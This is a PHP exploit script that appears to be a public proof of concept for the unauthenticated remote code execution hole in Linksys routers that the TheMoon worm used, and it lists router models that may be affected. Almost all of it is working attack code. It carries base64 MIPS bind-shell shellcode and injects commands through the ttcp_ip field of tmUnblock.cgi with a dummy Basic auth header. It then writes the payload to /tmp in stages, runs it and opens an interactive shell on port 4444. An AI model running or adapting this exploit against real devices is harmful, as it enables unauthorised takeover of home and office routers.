```
#!/usr/bin/php
<?php

/*

Exploit for 0day linksys unauthenticated remote code execution
vulnerability.  As exploited by TheMoon worm; Discovered in
the wild on Feb 13, 2013 by Johannes Ullrich.

I was hoping this would stay under-wraps until a firmware
patch could be released, but it appears the cat is out of the bag...
http://www.reddit.com/r/netsec/comments/1xy9k6/that_new_linksys_worm/
Since it's now public, here's my take on it.

Exploit written by Rew.
(Yes I know, everyone hates PHP.  Deal with it :P )

Currently only working over the LAN.  I think there may be an
iptables issue or something.  Left as an exercise to the reader.

Based on "strings" output on TheMoon worm binary, the
following devices may be vulnerable.  This list may not be
accurate and/or complete!!!

E4200
E3200
E3000
E2500
E2100L
E2000
E1550
E1500
E1200
E1000
E900
E300
WAG320N
WAP300N
WAP610N
WES610N
WET610N
WRT610N
WRT600N
WRT400N
WRT320N
WRT160N
WRT150N

```

```php
*/

error_reporting(0);

$host = "192.168.1.1";      // target host
$port = "8080";             // target port
$vuln = "tmUnblock.cgi";    // hndUnblock.cgi works too

// msfpayload linux/mipsle/shell_bind_tcp LPORT=4444 X
$shellcode = base64_decode(
    "f0VMRgEBAQAAAAAAAAAAAAIACAABAAAAVABAADQAAAAAAAAAAAA".
    "AAADQAIAABAAAAAAAAAAEAAAAAAAAAAABAAAAAQAB7AQAAogIA".
    "AAcAAAAAEAAA4P+9J/3/DiQnIMABJyjAAf//BihXEAIkDAEBAV".
    "BzDyT//1Aw7/8OJCdwwAERXA0kBGjNAf/9DiQncMABJWiuAeD/".
    "ra/k/6Cv6P+gr+z/oK8lIBAC7/8OJCcwwAHg/6UjSRACJAwBAQ".
    "FQcw8kJSAQAgEBBSROEAIkDAEBAVBzDyQlIBAC//8FKP//BihI".
    "EAIkDAEBAVBzDyT//1AwJSAQAv3/DyQnKOAB3w8CJAwBAQFQcw".
    "8kJSAQAgEBBSjfDwIkDAEBAVBzDyQlIBAC//8FKN8PAiQMAQEB".
    "UHMPJFBzBiT//9AEUHMPJP//BijH/w8kJ3jgASEg7wPw/6Sv9P".
    "+gr/f/DiQncMABIWDvAyFojgH//6Ct8P+lI6sPAiQMAQEBL2Jp".
    "bi9zaA=="
);

// regular urlencode() doesn't do enough.
// it will break the exploit.  so we use this
function full_urlencode($string) {

    $ret = "";
    for($c=0; $c<strlen($string); $c++) {
        if($string[$c] != '&')
            $ret .= "%".dechex(ord($string[$c]));
        else
            $ret .= "&";
    }

    return $ret;

}

// wget is kind of a bad solution, because it requires
// the payload be accessable via port 80 on the attacker's
// machine.  a better solution is to manually write the
// executable payload onto the filesystem with echo -en
// unfortunatly the httpd will crash with long strings,
// so we do it in stages.
function build_payload($host, $port, $vuln, $shellcode) {

    // in case we previously had a failed attempt
    // meh, it can happen
    echo "\tCleaning up... ";
    $cleanup = build_packet($host, $port, $vuln, "rm /tmp/c0d3z");
    if(!send_packet($host, $port, $cleanup)) die("fail\n");
    else echo "done!\n";

    // write the payload in 20byte stages
    for($i=0; $i<strlen($shellcode); $i+=20) {
        echo "\tSending ".$i."/".strlen($shellcode)." bytes... ";
        $cmd = "echo -en '";
        for($c=$i; $c<$i+20 && $c<strlen($shellcode); $c++) {
            $cmd .= "\\0".decoct(ord($shellcode[$c]));
        }
        $cmd .= "' >> /tmp/c0d3z";
        $cmd = build_packet($host, $port, $vuln, $cmd);
        if(!send_packet($host, $port, $cmd)) die("fail\n");
        else echo "sent!\n";
        usleep(100000);
    }

    // make it usable
    echo "\tConfiguring... ";
    $config = build_packet($host, $port, $vuln, "chmod a+rwx /tmp/c0d3z");
    if(!send_packet($host, $port, $config)) die("fail\n");
    else echo "done!\n";

}

// add in all the HTTP shit
function build_packet($host, $port, $vuln, $payload) {

    $exploit = full_urlencode(
        "submit_button=&".
        "change_action=&".
        "submit_type=&".
        "action=&".
        "commit=0&".
        "ttcp_num=2&".
        "ttcp_size=2&".
        "ttcp_ip=-h `".$payload."`&".
        "StartEPI=1"
    );

    $packet  =
        "POST /".$vuln." HTTP/1.1\r\n".
        "Host: ".$host."\r\n".
        // this username:password is never checked ;)
        "Authorization: Basic ".base64_encode("admin:ThisCanBeAnything")."\r\n".
        "Content-Type: application/x-www-form-urlencoded\r\n".
        "Content-Length: ".strlen($exploit)."\r\n".
        "\r\n".
        $exploit;

    return $packet;

}

function send_packet($host, $port, $packet) {

    $socket = fsockopen($host, $port, $errno, $errstr);
    if(!$socket) return false;
    if(!fwrite($socket, $packet)) return false;
    fclose($socket);
    return true;

}

echo "Testing connection to target... ";
    $socket = fsockopen($host, $port, $errno, $errstr, 30);
    if(!$socket) die("fail\n");
    else echo "connected!\n";
    fclose($socket);

echo "Sending payload... \n";
    build_payload($host, $port, $vuln, $shellcode);
    sleep(3);   // don't rush him

echo "Executing payload... ";
    if(!send_packet($host, $port, build_packet($host, $port, $vuln, "/tmp/c0d3z"))) die("fail\n");
    else echo "done!\n";
    sleep(3);   // don't rush him

echo "Attempting to get a shell... ";
    $socket = fsockopen($host, 4444, $errno, $errstr, 30);
    if(!$socket) die("fail\n");
    else echo "connected!\n";

echo "Opening shell... \n";
    while(!feof($socket)) {
        $cmd = readline($host."$ ");
        if(!empty($cmd)) readline_add_history($cmd);
        // there has got to be a better way to detect that we have
        // reached the end of the output than this, but whatever
        // it's late... i'm tired... and it works...
        fwrite($socket, $cmd.";echo xxxEOFxxx\n");
        $data = "";
        do {
            $data .= fread($socket, 1);
        } while(strpos($data, "xxxEOFxxx") === false && !feof($socket));
        echo str_replace("xxxEOFxxx", "", $data);
    }

?>
```